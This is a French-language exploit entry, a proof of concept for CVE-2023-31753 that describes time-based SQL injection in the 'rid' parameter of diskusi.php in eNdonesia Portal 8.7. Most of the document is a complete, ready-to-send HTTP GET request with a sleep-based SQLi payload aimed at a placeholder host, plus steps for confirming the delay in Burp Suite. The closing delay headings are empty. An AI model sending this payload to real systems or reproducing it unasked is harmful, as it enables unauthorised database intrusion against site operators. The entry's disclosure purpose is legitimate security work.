Preuve de concept pour CVE-2023-31753

Description: Une vulnérabilité d'injection SQL a été découverte dans eNdonesia Portal v8.7, exploitée en insérant un payload spécialement conçu dans le paramètre "rid" de diskusi.php.

• Titre de l'exploit: eNdonesia Portal 8.7 - Vulnérabilité d'injection SQL dans diskusi.php (paramètre rid)
• Date: 19 mai 2023
• Auteur de l'exploit: Kunal Khubchandani
• Page d'accueil du fournisseur: http://www.endonesia.org/
• Lien du logiciel: https://sourceforge.net/projects/endonesia/
• Version: 8.7
• Catégorie: Webapps
• Testé sur: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#POC:

1. Pour exploiter cette vulnérabilité, il faut envoyer un payload SQLi sleep comme valeur du paramètre GET "rid" dans la requête HTTP suivante.

2. Requête vulnérable:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. Après l'envoi de la requête HTTP ci-dessus via Burp Suite, l'utilisateur recevra une réponse avec un délai de 20 secondes.

** Délai de 20 secondes:

** Délai de 30 secondes: